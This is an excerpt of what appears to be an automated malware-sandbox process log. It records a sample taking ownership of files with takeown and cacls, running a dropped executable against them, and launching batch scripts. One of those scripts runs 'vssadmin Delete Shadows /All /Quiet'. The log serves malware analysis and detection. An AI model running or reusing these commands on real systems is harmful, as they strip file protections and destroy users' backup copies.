C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1224
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "directories.acrodata" -nobanner3⤵PID:1936
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "directories.acrodata" -nobanner4⤵PID:936
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2036
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png""2⤵PID:748
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C3⤵PID:1040
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"3⤵
- Modifies file permissions
PID:812
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "watermark.png" -nobanner3⤵PID:2004
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "watermark.png" -nobanner4⤵PID:964
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:288
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {5B8B446D-864F-44C3-AFB8-724B591CA1E6} S-1-5-21-2329389628-4064185017-3901522362-1000:QSKGHMYQ\Admin:Interactive:[1]1⤵PID:576
-
C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\05ADvCxH.bat"2⤵PID:1756
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
PID:2016
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "AcroSign.prc" -nobanner1⤵
- Executes dropped EXE
PID:1700
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1488